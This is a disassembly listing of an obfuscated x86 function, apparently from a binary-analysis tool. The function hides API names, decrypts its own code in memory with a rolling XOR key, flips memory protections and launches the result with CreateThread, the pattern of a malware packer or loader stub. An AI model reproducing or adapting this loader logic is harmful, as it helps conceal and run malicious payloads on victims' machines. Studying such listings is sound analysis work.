Function at 0x9fd9a1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0xe4ad423e
add esp, 4
popfd
mov edi, edi
call fcn.009fdd87
mov eax, eax
lea eax, [ebp - 0xd8]
push eax
push ecx
pop ecx
pop eax
mov ebx, 0x61
pushfd
xor edi, 0x1b648dc
xor edi, 0x1b648dc
popfd
xchg ebx, eax
xchg ebx, eax
add bx, 0xa
push ecx
push esi
pop esi
pop ecx
xchg esi, esi
mov word [eax], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 6
xchg esi, ebx
xchg ebx, esi
mov word [eax + 2], bx
xchg edi, esi
xchg esi, edi
add bx, 0xd
push ecx
push edi
pop edi
pop ecx
xchg edi, ecx
xchg ecx, edi
mov word [eax + 4], bx
pushfd
xor ecx, 0x9c37bd0a
xor ecx, 0x9c37bd0a
popfd
xchg ebx, eax
xchg ebx, eax
sub bx, 4
push esi
pop esi
mov word [eax + 6], bx
xchg ecx, ebx
xchg ebx, ecx
sub bx, 9
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 8], bx
xchg edx, ecx
xchg ecx, edx
pushfd
xor ecx, 0xb8c4932e
xor ecx, 0xb8c4932e
popfd
add bx, 7
pushfd
inc ecx
dec ecx
popfd
xchg edx, esi
xchg esi, edx
mov word [eax + 0xa], bx
push edi
push ebx
pop ebx
pop edi
sub bx, 0x39
mov edi, edi
mov word [eax + 0xc], bx
pushfd
inc edi
dec edi
popfd
pushfd
push 0xea0a1546
add esp, 4
popfd
dec bx
xchg ebx, ebx
pushfd
push 0x56b9af69
add esp, 4
popfd
mov word [eax + 0xe], bx
push edi
pop edi
sub bx, 4
xchg edi, eax
xchg edi, eax
push ecx
push edi
pop edi
pop ecx
mov word [eax + 0x10], bx
pushfd
xor ebx, 0x8f148ed7
xor ebx, 0x8f148ed7
popfd
xchg edi, esi
xchg esi, edi
add bx, 0x36
push ecx
pop ecx
mov word [eax + 0x12], bx
push edx
push esi
pop esi
pop edx
pushfd
inc eax
dec eax
popfd
add bx, 8
pushfd
xor esi, 0xeb7aef41
xor esi, 0xeb7aef41
popfd
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x14], bx
pushfd
xor esi, 0x96c52382
xor esi, 0x96c52382
popfd
mov eax, eax
mov word [eax + 0x16], bx
xchg ebx, ebx
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0x18], 0
push edi
push esi
pop esi
pop edi
push ecx
push eax
pop eax
pop ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov eax, eax
mov dword [ebp - 0x10], eax
mov ebx, ebx
lea eax, [ebp - 0xd8]
xchg ebx, esi
xchg esi, ebx
mov ebx, 0x61
mov ecx, ecx
sub bl, 0xb
pushfd
push ecx
add esp, 4
popfd
xchg edi, edi
mov byte [eax], bl
nop
push ecx
pop ecx
add bl, 0x13
push edi
pop edi
mov byte [eax + 1], bl
xchg ebx, ebx
add bl, 9
mov ecx, ecx
mov byte [eax + 2], bl
push eax
push esi
pop esi
pop eax
pushfd
xor eax, 0xaa53fdc9
xor eax, 0xaa53fdc9
popfd
add bl, 2
nop
mov byte [eax + 3], bl
pushfd
push 0xccc6710f
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
inc bl
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 4], bl
xchg ecx, edx
xchg edx, ecx
sub bl, 0x14
pushfd
xor esi, 0x562ac0f8
xor esi, 0x562ac0f8
popfd
mov ecx, ecx
mov byte [eax + 5], bl
push edx
push esi
pop esi
pop edx
add bl, 0xb
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 6], bl
push ecx
pop ecx
sub bl, 0x1c
nop
push edi
pop edi
mov byte [eax + 7], bl
xchg esi, eax
xchg esi, eax
mov esi, esi
add bl, 0x22
nop
push edx
pop edx
mov byte [eax + 8], bl
push edx
pop edx
sub bl, 3
push ecx
pop ecx
mov byte [eax + 9], bl
push esi
push ecx
pop ecx
pop esi
add bl, 5
xchg ebx, ebx
push esi
push edi
pop edi
pop esi
mov byte [eax + 0xa], bl
push ebx
push esi
pop esi
pop ebx
sub bl, 0xf
pushfd
xor ebx, 0x183e4e49
xor ebx, 0x183e4e49
popfd
mov byte [eax + 0xb], bl
pushfd
push edx
add esp, 4
popfd
sub bl, 2
nop
mov edx, edx
mov byte [eax + 0xc], bl
pushfd
push edx
add esp, 4
popfd
push ebx
push ecx
pop ecx
pop ebx
add bl, 0x11
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
push esi
add esp, 4
popfd
mov edi, edi
mov byte [eax + 0xe], 0
pushfd
xor esi, 0x9cd8f230
xor esi, 0x9cd8f230
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ecx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
push eax
push ecx
pop ecx
pop eax
push ecx
pop ecx
lea eax, [ebp - 8]
pushfd
push 0x5d9039bd
add esp, 4
popfd
push ebx
push edi
pop edi
pop ebx
push eax
push 4
push 0x3fdbb7
push entry0
call dword [ebp - 0xc]
pushfd
xor eax, 0x8925b754
xor eax, 0x8925b754
popfd
xchg esi, ecx
xchg ecx, esi
mov edi, entry0
xchg ebx, ecx
xchg ecx, ebx
mov esi, 0x40100e
push ebx
push edx
pop edx
pop ebx
push edx
pop edx
mov ecx, 0x3fdbb7
xchg ecx, ebx
xchg ebx, ecx
pushfd
push edi
add esp, 4
popfd
mov edx, 0xa663df74
mov ecx, ecx
xchg ebx, eax
xchg ebx, eax
mov ebx, 0x5961dde0
pushfd
inc eax
dec eax
popfd
xchg edi, ecx
xchg ecx, edi
cld
mov esi, esi
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
mov ebx, ebx
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
mov edi, edi
imul edx, edx, 7
nop
test ebx, 1
mov edx, edx
je 0x9fdcd1
mov ebx, ebx
add esi, 1
xchg ecx, ecx
ror ebx, 1
xchg edx, edx
dec ecx
xchg esi, esi
test ecx, ecx
mov ebx, ebx
jne 0x9fdcab
pushfd
xor edi, 0xdf79d8d4
xor edi, 0xdf79d8d4
popfd
mov ebx, ebx
lea eax, [ebp - 8]
pushfd
push ebx
add esp, 4
popfd
push eax
push 0x20
push 0x3fdbb7
push entry0
call dword [ebp - 0xc]
pushfd
push 0xb18336f9
add esp, 4
popfd
pushfd
xor ecx, 0x54cc9bb9
xor ecx, 0x54cc9bb9
popfd
lea eax, [ebp - 4]
push edx
pop edx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ebx
push edi
pop edi
pop ebx
pushfd
xor eax, 0xc6de7069
xor eax, 0xc6de7069
popfd
xchg edx, edx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0x87ffe0d0
add esp, 4
popfd
pushfd
push 0xa73a0b0f
add esp, 4
popfd
jmp 0x9fdd48